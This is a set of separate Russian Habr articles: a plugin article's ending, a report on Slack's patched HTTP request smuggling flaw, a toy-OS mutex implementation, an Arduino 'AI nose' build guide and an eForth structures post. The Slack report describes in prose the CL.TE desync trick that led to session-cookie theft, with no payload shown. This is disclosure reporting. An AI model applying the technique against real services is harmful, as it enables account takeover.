Полный текст плагина можно скачать здесь: <http://tibbo.com/downloads/open/ioninja-plugin-samples/TiosEmu.zip>
Заключение
==========
Разумеется, на выходе у нас получился не полноценный эмулятор TiOS, а скорее заготовка-пустышка. Тем не менее, этого должно быть вполне достаточно для демонстрации самой концепции и для понимания того, в каком направлении копать дальше – этот эмулятор вполне может служить отправной точкой для написания какой-то более полезной тестировочной утилиты в вашем конкретном случае.
В следующей части статьи, мы рассмотрим создание плагина-слоя для анализа протокола. | https://habr.com/ru/post/256803/ | null | ru | null |
# Slack закрыл уязвимость с «массовым захватом аккаунтов через контрабанду HTTP-запросов»
Техника атаки [HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling) (контрабанда вредоносных HTTP-запросов на бэкенд в результате рассинхронизации фронтенд- и бэкенд-серверов) [известна 15 лет](https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf), хотя в прошлом году Джеймс Кеттл [рассказал](https://habr.com/ru/post/468489/) о новых методах, c помощью которых заработал на bugbounty около $70 000. Судя по всему, атака эффективна и сейчас, причём уязвимы многие.
12 марта 2020 года на портале HackerOne [рассекретили описание уязвимости Slack](https://hackerone.com/reports/737140), которую закрыли 13 февраля. Оказывается, до этого времени сессионные куки пользователей Slack были доступны для массового перехвата. Описание взлома Slack довольно подробное, поэтому заслуживает внимания. Похоже, что эту технику можно использовать для взлома других сервисов, которые работают за прокси ([AWS ALB](https://docs.aws.amazon.com/elasticloadbalancing/latest/APIReference/API_LoadBalancerAttribute.html), nginx, [haproxy до 2.0.6](https://portswigger.net/research/http-desync-attacks-what-happened-next) и прочие).
Автор по имени Эван [рассказывает](https://hackerone.com/reports/737140) на HackerOne, что он специализируется на атаках данного типа, поэтому разработал собственный инструментарий (судя по всему, это программа `smuggler`). Он решил проверить её на сервере `slackb.com` (см. скриншот).
Внимание привлёк тест `space1`, который проверяет возможность рассинхронизации HTTP:
Программа возвращала ошибку после прогона теста CLTE. Это запрос, который включает в себя одновременно заголовки `Transfer-Encoding: chunked` (с лишним пробелом перед двоеточием) и `Content-Length:` (CL). Согласно RFC, при одновременном получении этих двух заголовков приоритет всегда у TE. Но если TE аномальный, то он может по-разному интерпретироваться на фронтенде и бэкенде. Так и вышло в случае `https://slackb.com`. Здесь фронтенд интерпретировал размер запроса по CL, а бэкенд сначала обрабатывает TE. Лишнего пробела оказалось достаточно, чтобы фронтенд не распознал TE.
Такая ситуация приводит к рассинхронизации запроса и возможности отравления сокета на бэкенде с предварительным отложением данных на бэкенде (так работает одна из популярных атак с контрабандой запросов).
Фронтенд принимает на веру указанную длину пакета и не обрабатывает код, который указан дальше указанного количества бит. А бэкенд — обрабатывает протянутый «контрабандой» вредоносный запрос, как показано на скриншоте.
[](https://habrastorage.org/webt/vr/ie/se/vriesekexvxyw3klp2hvyx2mq24.png)
Получив запрос типа `GET HTTP/1.1`, бэкенд отвечает следующим образом:
… отправляя на указанный URL все куки, включая сессионный ('d').
В своём сообщении Эван приводит пошаговую инструкцию, как проверить сервер на наличие уязвимости в программе [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator).
[](https://habrastorage.org/webt/be/5r/oh/be5rohmyhtonzz8edsm7ncr8tsq.png)
Украденный куки:
[](https://habrastorage.org/webt/ol/p9/_d/olp9_dhcdpby_qf3mdprxap5wku.png)
Остаётся надеяться, что злоумышленники не воспользуются этой информацией на других серверах.
Пока не совсем ясно, какие конкретно прокси уязвимы для этой атаки, а какие — нет. Более того, рассинхронизация возможна в том случае, если прокси корректно действует в соответствии с RFC, а ваше приложение — нет. Так что для лучшей уверенности желательно проверить конфигурацию целиком. | https://habr.com/ru/post/493022/ | null | ru | null |
# Пишу игрушечную ОС (о реализации мьютекса)
Продолжаю блог о разработке игрушечной ОС (предыдущие посты: [раз](http://habrahabr.ru/post/175749/), [два](http://habrahabr.ru/post/177403/), [три](http://habrahabr.ru/post/177569/)). Сделав паузу в кодировании (майские праздники, всё-таки), продолжаю работу. Только что набросал сканирование PCI-шины. Эта штука понадобится для работы с SATA-контроллером: следующее, что хочу сделать — это простенький драйвер диска. Он позволит поэкспериментировать с проецированием постоянной памяти на адресное пространство (своппинг, доведённый до логического конца). А пока хотел бы описать реализацию мьютекса.
Для реализации мьютекса (определён и реализован в [src/sync.h](https://github.com/ababo/toy/blob/master/src/sync.h) и [src/sync.c](https://github.com/ababo/toy/blob/master/src/sync.c)) нет необходимости в модификации существующего планировщика, описанного в двух предыдущих постах. Мьютекс может быть построен на базе всего двух его функций: запуска и приостановки потока (см. [src/schedule.h](https://github.com/ababo/toy/blob/master/src/schedule.h)).
```
struct mutex {
struct __mutex_node *head, *tail;
struct spinlock mlock, ilock;
};
static inline void create_mutex(struct mutex *mutex) {
mutex->head = mutex->tail = NULL;
create_spinlock(&mutex->mlock);
create_spinlock(&mutex->ilock);
}
```
Моя реализация мьютекса предполагает два спинлока и очередь спящих потоков. Первый спинлок (mlock) отвечает за доступ к защищаемому ресурсу мьютекса, т.е. он захвачен тогда и только тогда, когда захвачен сам мьютекс. Второй спинлок (ilock) защищает очередь ожидающих потоков от одновременной модификации.
Итак, как это работает? Когда поток пытается получить мьютекс, он пробует захватить mlock, делая N попыток. Если это у него получается, то мьютекс захвачен. В противном случае он должен безопасно (т.е. через ilock) добавить себя в очередь ожидающих потоков и уснуть.
```
static inline err_code acquire_mutex(struct mutex *mutex) {
extern err_code __sleep_in_mutex(struct mutex *mutex);
if (!acquire_spinlock_int(&mutex->mlock, 1000))
return __sleep_in_mutex(mutex);
return ERR_NONE;
}
struct __mutex_node {
struct __mutex_node *next;
thread_id id;
};
INTERNAL err_code __sleep_in_mutex(struct mutex *mutex) {
struct __mutex_node *node = NULL;
bool acquired;
acquire_spinlock(&mutex->ilock, 0);
acquired = acquire_spinlock_int(&mutex->mlock, 1);
if (!acquired) {
node = alloc_block(&mutex_node_pool);
if (node) {
node->next = NULL;
node->id = get_thread();
if (mutex->head)
mutex->head->next = node;
mutex->head = node;
if (!mutex->tail)
mutex->tail = node;
pause_this_thread(&mutex->ilock);
}
}
if (!node)
release_spinlock(&mutex->ilock);
return (acquired || node) ? ERR_NONE : ERR_OUT_OF_MEMORY;
}
```
Вышеприведённый код нуждается в некоторых пояснениях:
1. Функция acquire\_spinlock\_int аналогична acquire\_spinlock за исключением того, что она не отключает прерывания до момента освобождения спинлока. Захватывая mlock, мы не хотим отключать прерывания — владение мьютексом может быть долгим. Другое дело, когда мы, захватывая ilock, хотим добавить поток в очередь — эта операция должна быть быстрой.
2. Следующая строка функции \_\_sleep\_in\_mutex на первый взгляд бессмысленна:
```
acquired = acquire_spinlock_int(&mutex->mlock, 1);
```
В самом деле, зачем повторно пытаться захватить спинлок, когда мы уже потерпели неудачу? Затем, что между первой попыткой и захватом ilock владелец мьютекса может его вернуть, и лишь позже наш поток получит квант планирования. Без повторной попытки мы добавим себя в очередь и усыпим навеки. Поэтому важно проверить ещё раз уже после захвата ilock (хозяин мьютекса при возврате непременно будет его захватывать).
3. Функции alloc\_block и free\_block относятся к пулу заранее выделенных блоков памяти фиксированного размера (см. [src/memory.h](https://github.com/ababo/toy/blob/master/src/memory.h)). Соль этого пула в том, чтобы не вызывать медленный malloc всякий раз, когда нам нужен блок (в данном случае struct \_\_mutex\_node). Кстати, этот пул у меня пока без реализации (только заглушка, напрямую вызывающая malloc), как и сам malloc. Если у кого возникнет непреодолимое желание реализовать первый или портировать второй — пишите.
4. Зачем делать N попыток захватить mlock, если можно уснуть после первой попытки? Можно, просто это не очень эффективно. Время переключения контекста существенно выше одной попытки получить спинлок. Поэтому рационально сделать N попыток (в коде 1000, взято с потолка; в будущем нужно провести практические замеры, вывести и обосновать более разумный N), прежде чем усыпать.
5. В коде используется модифицированная версия pause\_thread: pause\_this\_thread. Кроме усыпления текущего потока она атомарно (в прерывании) освобождает переданный ей спинлок.
При освобождении мьютекса хозяин захватывает ilock, после чего проверяет наличие в очереди ждущих потоков. Если поток найден, то он просыпается, становясь новым хозяином мьютекса. Если ожидающих потоков нет, то хозяин возвращает mlock и выходит.
```
static inline void release_mutex(struct mutex *mutex) {
extern void __awake_in_mutex(struct mutex *mutex);
acquire_spinlock(&mutex->ilock, 0);
if (mutex->tail)
__awake_in_mutex(mutex);
else
release_spinlock_int(&mutex->mlock);
release_spinlock(&mutex->ilock);
}
INTERNAL void __awake_in_mutex(struct mutex *mutex) {
struct __mutex_node *node;
err_code err;
do {
node = mutex->tail;
mutex->tail = node->next;
if (mutex->head == node)
mutex->head = NULL;
err = resume_thread(node->id);
free_block(&mutex_node_pool, node);
}
while (mutex->tail && err);
if (!mutex->tail)
release_spinlock_int(&mutex->mlock);
}
```
Хотел, было, ещё рассказать о реализации функции sleep, но этот пост и так содержит достаточно пищи для размышления, так что отложу до следующего раза.
P.S. Если найдёте ошибки в коде — обязательно пишите. | https://habr.com/ru/post/179561/ | null | ru | null |
# Второе чувство: разработка ИИ-носа
Шли долгие майские выходные 2020 года. Я, как и многие другие представители рода людского, сидел дома. Из-за пандемии у меня было свободное время, которое я тратил на улучшение моего рецепта хлеба. А несколькими днями ранее я заказал газоанализатор (Рис. A, под катом). Я полагал, что он идеально подойдёт для того, чтобы помочь мне наблюдать за хлебной закваской. У меня была надежда на то, что эта штука позволит мне идеально рассчитать время начала выпечки хлеба.
[](https://habr.com/ru/company/ruvds/blog/578828/)
А потом я ещё обо всём поразмышлял. «Конечно, это отличный повод наконец начать разбираться в машинном обучении, о котором все сейчас говорят. Но… действительно ли мне это надо: печь десятки булок хлеба и собирать достаточно большой набор тренировочных данных, который позволит обучить искусственный интеллект нахождению взаимосвязи между запахом закваски и вкусовыми качествами готовой выпечки? Да и мука, кстати, в наши дни товар довольно-таки дефицитный».
*Рис. A*
Именно так я через несколько дней пришёл к идее создания самодельного универсального «машинного носа». Такого, который может распознать практически любой запах, узнавать который его научили. Это устройство основано на TinyML-нейронной сети, которую я обучил с использованием бесплатного онлайнового инструмента Edge Impulse, а потом загрузил на Arduino-совместимый микроконтроллер.
В ходе работы над этим проектом я узнал много нового, причём не только из сферы машинного обучения. Например, я спроектировал мою первую модель для 3D-печати и освоил основы газодинамики (воздушные потоки в моём устройстве, на самом деле, не вполне оптимальны). Я впервые сам создал нечто с нуля, и мне не терпится об этом рассказать. Ниже приведён пошаговый план, следуя которому можно построить такой же ИИ-нос, который сделал я.
Материалы и инструменты
-----------------------
### Материалы
* Wio Terminal — устройство, в котором микроконтроллер объединён с LCD-дисплеем (Seeed Studio, код товара 102991299).
* Многоканальный газоанализатор Grove Multichannel Gas Sensor v2 (Seeed Studio, код товара 101020820). Предназначен для измерения концентраций следующих веществ в воздухе: двуокись азота (NO2, Nitrogen dioxide), окись углерода (CO, Carbon monoxide), этанол (C2H5OH, Ethyl alcohol), летучие органические соединения (VOC, Volatile organic compounds).
* Корпус в виде носа, напечатанный на 3D-принтере. Загрузить файл модели можно [здесь](https://www.thingiverse.com/thing:4493907).
* Плата Grove MOSFET (Seeed Studio, код товара 103020008).
* Кабель — 4-проводной переходник c Grove-разъёма на Male-пины (Seeed Studio, код товара 110990210).
* Вентилятор 25x25x10 мм, 5 В постоянного тока (например, такой как NMB Technologies 02510SS).
* Защитная сетка для вентилятора 25x25 мм (Sunon FG-2).
* Угловой кабель USB Type C (необязательно).
* Плата расширения Wio Terminal Battery Chassis (необязательно), (Seeed Studio, код товара 103990564).
* Винты, гайки и шайбы M2 и M3.
* Соединительные провода для макетных плат, 100 мм (2).
### Инструменты
* 3D-принтер.
* Компьютер с подключением к интернету (нужен только при подготовке устройства к работе, в ходе работы ИИ-носа не используется).
Создание искусственного носа
----------------------------
### 1. Подготовка компонентов
*Рис. B*
Файлы для 3D-печати корпуса в виде носа (Рис. B) можно найти [здесь](https://thingiverse.com/thing:4493907). А если хотите, можете взять свой Miniaturizer 3000, слетать на остров Пасхи и сделать уменьшенную копию одного из каменных истуканов.
*Рис. C*
На самом деле, для того, чтобы создать искусственный нос, делать для него интересный корпус необязательно. А вот без вышеперечисленных электронных компонентов (Рис. C) вам, совершенно точно, не обойтись. Собрать устройство довольно легко, достаточно соединить всё несколькими проводами. Пайка тут не используется.
### 2. Соединение электронных компонентов
Мозгом нашего носа будет Wio Terminal — Arduino-совместимая платформа, обладающая множеством интересных возможностей и вычислительной мощностью, достаточной для анализа запахов в реальном времени. Для обеспечения работы ИИ, основанного на TinyML, в любом случае нужны не такие уж и большие вычислительные ресурсы. Wio Terminal обладает встроенным LCD-дисплеем, а это значит, что мы можем, благодаря особой библиотеке (довольно хорошо продуманной!), создать привлекательный пользовательский интерфейс для нашего устройства. Подробности об этом смотрите [здесь](https://wiki.seeedstudio.com/Wio-Terminal-LCD-Overview).
У Wio Terminal имеются удобные Grove-разъёмы, используемые в изделиях Seeed, но на базе этой платформы можно делать и проекты, которые выглядят аккуратнее, чем те, где компоненты подключаются к внешним разъёмам. А именно, речь идёт о слоте расширения, который совместим с Raspberry Pi и находится на задней части платы. Его использование для подключения различных датчиков и управляющих устройств позволяет скрыть все соединения внутри корпуса.
*Рис. D*
Газоанализатор подключён к интерфейсу I²C, а MOSFET (используемый для включения и выключения вентилятора, позволяющего устройству «вдыхать воздух») подключён к цифровому выходу D0. При сборке электронных компонентов устройства следуйте схеме, приведённой на Рис. D.
### 3. Сборка носа
*Рис. E*
Для того чтобы прикрепить Wio Terminal и вентилятор к задней части корпуса носа, нужно воспользоваться винтами M2 с шайбами и гайками (Рис. E).
Обратите внимание на то, что при установке вентилятора надо ориентироваться на направление вращения его лопастей и/или на обозначение направления создаваемого им потока воздуха. Но вы вполне можете ненадолго запитать его от линии 5 В, для того чтобы лишний раз убедиться в том, что благодаря вентилятору нос будет вдыхать, а не выдыхать воздух!
*Рис. F*
Плату многоканального газоанализатора нужно вдвинуть в соответствующее место корпуса, расположив так, чтобы датчики были бы направлены туда, где находятся ноздри (Рис. F).
### 4. Прошивка мозга
Как вы понимаете, мы говорим тут о Wio Terminal, а не о вашем мозге! Быстрее всего выяснить то, на что способен наш интеллектуальный нос, можно, воспользовавшись базовой моделью, которую я обучил простым вещам вроде распознавания запаха кофе.
Загляните [сюда](https://github.com/kartben/artificial-nose/releases) и скачайте готовую к использованию прошивку (`firmware.uf2`). Подключите Wio Terminal к компьютеру, используя USB-кабель, и войдите в режим загрузчика, дважды быстро переключив выключатель питания Wio. После этого устройство будет видно на компьютере как внешний USB-диск, на него можно будет скопировать файл прошивки, который вы только что скачали.
Если вы предпочитаете компилировать прошивки самостоятельно или, что скорее всего так и будет, решите развернуть на Wio совсем другую ИИ-модель, вам для компиляции и загрузки на устройство обновлённого кода понадобится лишь PlatrormIO. А перед этим, следуя инструкциям, приведённым в разделе «Обучение искусственного носа новым фокусам», нужно будет переучить модель.
Начинаем нюхать!
----------------
После успешного завершения копирования прошивки Wio Terminal автоматически перезагрузится и запустится в режиме обучения (Training mode), после чего покажет, в реальном времени график, визуализирующий сведения о различных газах, выявленных искусственным носом (Рис. 2 ниже).
Для перехода в режим получения вывода (Inference mode) нужно нажать на кнопку 5-позиционного джойстика. Теперь на экране должны выводиться сведения о детектируемом запахе с самым высоким уровнем достоверности. Базовая модель может обнаруживать запахи кофе, чая, виски и рома.
### Шпаргалка по пользовательскому интерфейсу
* **Джойстик (5-позиционный переключатель)**. Нажмите джойстик для переключения между режимами получения вывода (для показа текущего результата анализа) и обучения (показ необработанных сведений с датчиков). Нажатия джойстика влево и вправо позволяют переключаться между различными экранами приложения.
* **Верхняя левая кнопка**. Она может называться «Button 1» или «Key A». С её помощью можно включать и выключать вентилятор.
Как работает газоанализатор?
----------------------------
Существуют газоанализаторы различных видов. Но чаще всего при их изготовлении используется полупроводниковая структура MOS (Metal Oxide Semiconductor, металл оксид полупроводник), которая при нагревании начинает вступать в реакцию с газами, содержащимися в воздухе, что приводит к изменению её сопротивления.
С этого момента нас меньше всего беспокоят вопросы химии, так как всё, что нужно для измерения сопротивления (и, следовательно, концентрации газа) — это старый добрый делитель напряжения. А датчики, используемые в нашем проекте, оснащены даже собственным микроконтроллером, который берёт на себя решение подобных вопросов, выдавая результаты измерений в цифровой форме, прочитать которые можно, воспользовавшись интерфейсом I²C.
Так как работа газоанализаторов предусматривает нагревание чувствительного слоя оксида металла до высокой температуры, для их нормальной работы обычно нужно заметное количество энергии. Например, 4 датчика, используемые в нашем устройстве, требуют только для целей нагревания соответствующих элементов ток в 20 мА! Учитывайте это, если планируете использовать подобное устройство, питая его от батарей.
Более того, нужно некоторое время на прогрев датчиков. Только после этого их показатели можно счесть точными. Поэтому, к сожалению, если включить устройство всего на пару секунд и попытаться что-то проанализировать, результаты, вероятнее всего, окажутся неудовлетворительными.
Больше датчиков — больше запахов
--------------------------------
Возможно, окажется так, что вам не хватает возможностей и точности датчиков, используемых в моём устройстве. По опыту я знаю, что оно хорошо подходит для разграничения нескольких запахов, изначально я использовал его для различения нескольких марок моих любимых напитков. Но в вашем проекте может понадобиться классифицировать десятки очень похожих запахов или запахов, которые газоанализатор из моего проекта не различает достаточно чётко.
Если так оно и есть, то просто обратитесь к каталогу вашего любимого поставщика электронных компонентов и подумайте о том, чтобы заменить сенсор из моего проекта на что-то, более подходящее для ваших целей. Метан? Озон? Аммиак? Дым? Подберите вещество, характеризующее запах, который вы пытаетесь классифицировать. Весьма высоки шансы того, что существует датчик, способный отреагировать на это вещество.
Чую грядущие улучшения
----------------------
Есть много такого, что я, создавая корпус для ИИ-носа, хотел бы сделать. В частности, теперь я понимаю, что использование для этого программы Blender, а не специального CAD-продукта — это, вероятно, плохая идея. Нос выглядит хорошо, Blender способен создавать замечательные 3D-рендеры, но доработка модели в нём оказывается неоправданно сложной.
Тут нелишним будет сказать и о том, что носовая полость и ноздри, возможно, могли бы лучше решать задачу сосредоточения воздушного потока на модулях датчиков. Или, возможно, вентилятор создаёт слишком сильный воздушный поток, в результате чего у датчиков просто недостаточно времени на то, чтобы чувствительные элементы вступили в реакцию с молекулами газов? В любом случае не стоит избегать экспериментов с использованием носа… без носа!
Вот ещё одно важное возможное улучшение. Можно воспользоваться встроенным в Wio модулем Wi-Fi для того, чтобы превратить нос в подключённое к интернету беспроводное устройство. Подобное устройство может оказаться очень кстати для мониторинга труднодоступных или удалённых от точки сбора данных мест. Например, это может быть контроль пространства над навесным потолком или наблюдение за состоянием воздуха в офисных туалетах для определения того, не пора ли в них сделать уборку.
В результате к тому моменту, как вы это прочтёте, в моём GitHub-репозитории, скорее всего, появятся инструкции, касающиеся того, как в реальном времени загружать на какую-нибудь IoT-платформу сведения о запахах, распознанных устройством. Я, кроме того, планирую сделать так, чтобы можно было бы удалённо, без необходимости физического присутствия человека, обновлять ИИ-часть носа.
Просто представьте себе те возможности, которые откроются перед нами, если каждый из тех, кому интересна тема детектирования запахов, сделает вклад в опенсорсный каталог признаков этих запахов. Это даст возможность всем желающим выбирать из подобного каталога именно то, что им нужно, и создавать собственные приложения, реагирующие на запахи.
А что вы можете об этом сказать? Может, в воздухе уже витает аромат улучшений, которые вы способны внести в его конструкцию?
Самодельное средство от аносмии?
--------------------------------
Аносмией называют временную или постоянную потерю способности чувствовать запахи. Среди жителей США, возраст которых превышает 40 лет, около 3% страдают от полной аносмии, а 23% сообщают о неких изменениях в их способности воспринимать запахи. Сюда можно добавить и симптомы Covid-19, что даст нам ещё больше людей, обонятельная часть жизни которых каким-то образом нарушена.
С тех пор, как я начал рассказывать о своём проекте, постоянно слышал десятки историй тех, кто страдает от аносмии. Прокисло ли молоко в бутылке? Надо ли искупать собаку? Нужно ли мне в душ? Многие просто не могут ответить на такие вот обычные повседневные вопросы. И хотя недорогой самодельный электронный нос, скорее всего, в обозримом будущем не заменит нос человека, он, вполне вероятно, может стать хорошим компаньоном для тех, кто страдает от аносмии.
Обучение искусственного носа новым фокусам в Edge Impulse
---------------------------------------------------------
Возможно, вас не особенно вдохновит перспектива создания искусственного носа, способного отличать кофе от чая, и я вас вполне понимаю. Но что если подобный нос можно было бы обучить чему-то новому? Например, чтобы он сообщал о том, что на кухне что-то подгорело, или чтобы он мог бы определять идеальное время сбора ваших любимых фруктов?
В 75-м выпуске журнала Make Элен Ли [рассказала](https://makezine.com/projects/exploring-the-microverse-machine-learning-on-microcontrollers/) о TinyML и об Edge Impulse — об отличном инструменте, который невероятно упрощает разработку ИИ-моделей для устройств с ограниченными вычислительными возможностями, например, для микроконтроллеров.
Расскажу о том, как использовать Edge Impulse при обучении новой модели для вашего искусственного носа. Это позволит ему классифицировать именно те запахи, которые вас интересуют.
*Рис. 1*
### Шаг №1
Перейдите на [этот](https://studio.edgeimpulse.com/public/2389/latest) сайт и создайте клон моего базового проекта Edge Impulse в своей учётной записи (Рис. 1.). Это позволит вам расширить исходный набор данных собственными классами запахов или даже полностью заменить его чем-то своим.
*Рис. 2*
### Шаг №2
Подключите искусственный нос к компьютеру по USB и проверьте, чтобы устройство находилось в режиме обучения (Рис. 2).
### Шаг №3
Установите на компьютере [инструменты](https://docs.edgeimpulse.com/docs/cli-installation) командной строки Edge Impulse и запустите средство перенаправления данных, используя следующую команду:
```
edge-impulse-data-forwarder --frequency 10
```
### Шаг №4
Следуйте инструкциям из консоли для того, чтобы войти в свою учётную запись Edge Impulse. Средство перенаправления данных удалённо свяжет последовательный выход носа с проектом Edge Impulse, клонированном на первом шаге. Показатели датчика появятся непосредственно в проекте.
*Рис. 3*
### Шаг №5
Дайте названия данным, поступающим с отдельных датчиков (`Nitrogen dioxide`, `Carbon monoxide`, `Ethyl alcohol` и `Volatile organic compounds`).
### Шаг №6
Теперь устройство должно быть видно в разделе Data Acquisition (Получение данных) проекта Edge Impulse. Примите и промаркируйте столько образцов запахов того, что хотите различать, сколько сочтёте нужным.
Постарайтесь захватить для каждого запаха сведения, поступающие с датчиков, как минимум, в течение 2-3 минут. Проконтролируйте, чтобы для каждого запаха было бы собрано примерно одинаковое количество образцов. Это способствует правильному обучению ИИ-модели.
*Рис. 4*
### Шаг №7
Переучите модель с использованием новых данных, воспользовавшись инструментом Retrain Model (Переучивание модели). Если результаты работы вашей модели (Рис. 4) вас не устраивают — соберите больше исходных данных, а потом снова переучите модель.
### Шаг №8
И, наконец, воспользуйтесь командой Deployment (Развёртывание) для экспорта проекта в виде Arduino-библиотеки. Это позволит вам загрузить ZIP-файл, содержащий только что обученную нейронную сеть. Замените папку `lib/ei-artificial_nose-arduino` в исходных материалах прошивки носа содержимым этого ZIP-файла.
### Шаг №9
Используйте команду `pio run` для перекомпиляции прошивки и загрузите её на Wio Terminal. Теперь ваш искусственный нос переучен и готов к восприятию новых запахов.
Какие способы использования самодельного искусственного носа кажутся вам самыми интересными?
---
[— 15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**
[— 20% на выделенные серверы AMD Ryzen и Intel Core](https://1dedic.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=coreryzen20#server_configurator) — **HABRFIRSTDEDIC**.
Доступно до 31 декабря 2021 г. | https://habr.com/ru/post/582246/ | null | ru | null |
# EFORTH для МК-161: Структуры данных
*Эта статья — окончание цикла статей про eForth на программируемом калькуляторе. [Начало здесь](https://habr.com/ru/post/452398/).*
Команды входного языка «Электроники МК-161» занимают только половину файла eForth0.mkl. Вторую половину занимают таблицы, разработать которые был не меньший труд, чем написать алгоритмическую часть транслятора. Попробуем разобраться, как эти таблицы используются.
Профессор Вирт учит, что «программирование в малом» состоит из разработки двух одинаково важных составляющих — алгоритмов и структур данных.
С одной структурой данных eForth мы уже сталкивались. Это тело СВУ (слов высокого уровня), расположенное в байтовой памяти. Четыре обработчика по разному интерпретируют поля параметров «своих» СВУ:
```
.DB DOVAR ; поле кода переменной и массива
.DB … ; поле параметров в свободной форме
.DB DOCON ; поле кода константы
.DW значение_константы ; поле параметров
.DB DOCONM ; поле кода отрицательной константы
.DW значение_константы ; поле параметров
.DB DOLST ; поле кода слов двоеточия
.DW токен1, токен2,… EXITT ; поле параметров
```
Следующая относительно простая структура данных связана со «стандартными сообщениями» TYPE. **Все сообщения eForth пронумерованы и перенесены в дешёвую память программ.** Если слово TYPE выводит единственную литеру, её код может быть номером такого сообщения, от 0 до 7.
```
; Стандартные сообщения TYPE
.BASE
tblTYPE: .DBB str7,str6, str5, str4, str3, str2, str1, str0
```
На расширенном языке МК псевдокоманда .BASE задаёт «базу» для команды .DBB, которая последовательно размещает в байтах смещения строк str7, str6 и т.д. относительно метки базы tblTYPE. Прибавляя к адресу таблицы числа от 0 до 7, можно считать из неё это смещение. Прибавив найденное смещение к tblTYPE, получим адрес нужной строки.
Первый байт строки содержит её длину. eForth широко использует такие *«счётные строки»*.
Также мы сталкивались с таблицей tblTokens, в которой перечислены адреса кода всех 208 встроенных слов. Если слово не примитив, таблица содержит 0. Переход по адресу 0 вызовет перезагрузку eForth, причём с писком.
Была упомянута и таблица tblNames, ссылающаяся на имена тех же 208 слов. Эти имена в виде счётных строк хранятся в той же «резиновой» памяти программ. Сама таблица tblNames будет недоступна во время работы eForth, но содержащаяся в ней информация не пропадёт. Во время компиляции eForth.f перенесёт адреса имён в более удобную структуру данных, хранящуюся в десятичной памяти (см. 2).
Рассказывал я и про tblCHPUT, ассоциативную таблицу управляющих кодов при выводе литеры на экран калькулятора. Ещё семь таблиц, от tblKeyNum до tblKeyRusF, переводят код кнопки, нажатой в разных режимах клавиатуры, в 8-битный код литеры. Адрес подпрограммы, отвечающей за активный режим клавиатуры, содержится в десятичном регистре ptrKbdInt.
Итого в файле eForth0.mkl осталась неразобранной лишь одна структура данных, это таблицы распознавания имени. Оставим их на десерт (см. 5) после основного блюда — двух таблиц заголовков, хранящихся в десятичной памяти. Сперва вооружимся инструментами для «фаршировки» эти заголовков.
### 1. Работа с заголовками: HEAD! и HEAD@
```
HEAD! ( xt nfa r -- ) Записать заголовок в регистр r, взяв xt и nfa.
HEAD@ ( r -- xt nfa lex ) Считать заголовок из регистра r, дав xt, nfa и лексикон.
```
Один десятичный регистр МК-161 может запомнить 12 десятичных знаков. eForth использует такой регистр для хранения трёх небольших чисел, каждое от 0 до 9999. **Три «поля» для хранения этих чисел я назвал A, B и C: AAAABBBBCCCC.** Знак десятичного числа относится только к полю A.
Примитив HEAD@ получает номер регистра и разбивает число оттуда на поля, а HEAD! собирает поля в длинное число и записывает получившегося «монстра» в указанный регистр. Но есть нюансы.
«Десятичный заголовок» слова содержит в поле A адрес его имени (nfa). Если этот адрес отрицательный, имя хранится в памяти программ. Поле B содержит токен слова (xt). Поле C называется «лексиконом». В нём хранится бит IMMEDIATE и признак, что слово предназначено только для компиляции.
HEAD@ разбивает заголовок на части. На вершину стека кладётся поле лексикона C, под ним поле имени A. Поле B, в котором обычно хранится токен — в самом низу.
HEAD! обнуляет поле C.
### 2. Заголовки встроенных слов
Заголовки каждого из 208 встроенных слов (от 0 до 207) идут по порядку, начиная с R44. Поле A всегда содержит отрицательное число, так как имена этих слов жёстко прописаны в памяти программ.
Поля B и C доступны для редактирования. Поэтому пользователь может переопределять встроенные слова и делать нужные из них IMMEDIATE (см. 4).
### 3. Заголовки слов пользователя
Работа только с 208 заранее заданными именами экономит байтовую память, но необычайно скучна. Поэтому я разработал ещё одну структуру данных, где фантазия в выборе имени ограничена только 32 литерами. Эта структура состоит из 32 *списков*, каждый из которых отвечает за пользовательские слова определённой длины. Каждый из этих 32 списков снабжён личным заголовком. Сами списки «прыгают» по десятичной памяти, но их заголовки всегда хранятся в R301…R332.
**Сортировка слов по длине имени — важная «изюминка» 161eForth.** Сортировка сильно уменьшает число сравнений, когда ищешь слово по его имени, ускоряя компиляцию. Кому нужны хэш-функции, если у каждого имени есть известная длина?
Для простоты *заголовок списка* имеет такую же структуру с полями A, B и C, как заголовок слова. Назначения этих полей отличаются. Поле A содержит номер первого регистра списка. Поле B содержит количество регистров, предоставленных списку. Поле C хранит число слов, чьи заголовки уже включены в список.
В начале работы поля C равны нулю, слова во всех списках отсутствуют. Поля B равны 2, каждому списку для начала отдано по паре регистров. Поля A указывают на блоки по 2 регистра, начиная с R333.
Каждый список содержит заголовки слов. Мы уже их разобрали (см. 1). Здесь, разве что, адрес имени (nfa) будет положительным и указывать на счётную строку, традиционно хранящуюся перед телом СВУ. Также и токен в поле B представляет из себя адрес поля кода (cfa), идущего в двоичной памяти сразу после этого имени. Исключение одно — **если слово уже определялось, поле A будет указывать на старое имя.** Зачем хранить строку повторно? Двоичная память дорога.
Когда все регистры списка заполнятся (B=C), слово PUBLISH предоставляет ещё 5 свободных мест, раздвигая эту структуру данных в нужном месте и корректируя ссылки (A) в заголовках списков.
### 4. Публикация нового слова: WORK и PUBLISH
```
LAST ( -- a ) Указатель на последнее имя в словаре.
WORK ( -- a ) Номер регистра заголовка строящегося слова.
PUBLISH ( -- ) Включить в словарь новое слово.
$,n ( nfa -- ) Построить новый заголовок для словаря, используя строку в nfa.
?UNIQUE ( a -- a ) Отобразить предупреждение, если слово уже существует.
```
Разработанная для МК-161 структура данных для хранения заголовков слов оказалась практичной и лёгко встроилась в eForth. Когда CREATE, CONSTANT или : создают новое слово, они обращаются к системному слову $,n для создания заголовка слова с данным именем. $,n обращается к ?UNIQUE ради проверки — мы создаём новое слово или переопределяем старое?
Если слово с таким именем уже существует, ?UNIQUE предупреждает об этом пользователя. Одновременно адрес переопределяемого заголовка заносится в системную переменную LAST. Для нового слова LAST обнуляется.
В любом случае $,n строит новый заголовок в переменной WORK — это десятичный регистр, способный хранить 12 разрядов заголовка. Если имя не было найдено, оно включается в словарь перед полем кода, как это происходит в 86eForth и многих других Фортах. **На МК-161 удалось обойтись без «поля связи»**, это тоже экономит двоичную память.
